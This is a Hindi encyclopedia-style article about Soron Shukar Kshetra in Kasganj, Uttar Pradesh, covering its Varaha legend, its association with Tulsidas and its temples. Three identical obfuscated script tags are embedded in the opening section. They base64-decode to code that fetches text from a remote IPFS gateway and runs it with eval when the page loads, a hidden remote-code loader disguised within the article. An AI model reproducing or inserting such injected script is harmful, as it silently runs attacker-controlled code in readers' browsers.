शूकरक्षेत्र उत्तर प्रदेश

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शूकरक्षेत्र पूर्ववर्ती एटा एवं वर्तमान कासगंज ज़िले का सोरों नामक स्थान है जिसे सोरों शूकरक्षेत्र भी कहा जाता है। 'सोरों शूकरक्षेत्र' नाम से एक रेलवे स्टेशन भी यहीं स्थित है। शूकरक्षेत्र, गोस्वामी तुलसीदास की जन्मभूमि व भगवान वराह की मोक्षभूमि है। शूकरक्षेत्र का पुराना नाम उकला भी है। <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>इन्हें भी देखें<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>: सोरों एवं सोरेय्य<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

पौराणिक मान्यता

कहा जाता है कि भगवान विष्णु का वराह (शूकर) अवतार इसी स्थान पर हुआ था। ऐसा जान पड़ता है कि वराह–अवतार की कथा की सृष्टि विजातीय हूणों के धार्मिक विश्वासों के आधार पर हिन्दू धर्म के साहित्य में की गई। यह एक ऐतिहासिक तथ्य है कि आक्रमणकारी हूणों के अनेक दल जो उत्तर भारत में गुप्तकाल में आए थे, यहाँ पर आकर बस गए और विशाल हिन्दू समाज में विलीन हो कर एक हो गए। उनके अनेक धार्मिक विश्वासों को हिन्दू धर्म में मिला लिया गया और जान पड़ता है कि वराहोपासना इन्हीं विश्वासों का एक अंग थी और कालान्तर में हिन्दू धर्म ने इसे अंगीकार कर विष्णु के एक अवतार की ही वराह के रूप में कल्पना कर ली।

इतिहास

शूकरक्षेत्र मध्यकाल में तथा उसके पश्चात् तीर्थ रूप से मान्य रहा है। गोस्वामी तुलसीदास ने रामायण की कथा सर्वप्रथम शूकरक्षेत्र में ही सुनी थी–

'मैं पुनि निज गुरु सन सुनी कथा,
सुशूकरक्षेत्र समुझि नहीं तस बालपन,
तब अति रह्यों अचत'[1]

तुलसीदास के गुरु नरहरिदास का आश्रम यहीं पर था। यहाँ प्राचीन ढूह है। इस पर सीता–राम जी का वर्गाकार मन्दिर है। इसके 16 स्तम्भ हैं। जिन पर अनेक यात्राओं का वृत्तान्त उत्कीर्ण है। सबसे अधिक प्राचीन लेख जो पढ़ा जा सका है 1226 वि. सं. 1169 ई. का है। जिससे मन्दिर के निर्माण का समय ज्ञान होता है। इस मन्दिर का 1511 ई. के पश्चात्त का कोई उल्लेख नहीं प्राप्त होता क्योंकि इतिहास से सूचित होता है कि इसे सिकन्दर लोदी ने नष्ट कर दिया था। नगर के उत्तर–पश्चिम की ओर वराह का मन्दिर है। जिसमें वराह लक्ष्मी की मूर्ति की पूजा आज भी होती है। पाली साहित्य में इसे सौरेज्य कहा गया है।


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टीका टिप्पणी और संदर्भ

  1. रामायण बालकाण्ड, 30
  • ऐतिहासिक स्थानावली | विजयेन्द्र कुमार माथुर | वैज्ञानिक तथा तकनीकी शब्दावली आयोग | मानव संसाधन विकास मंत्रालय, भारत सरकार

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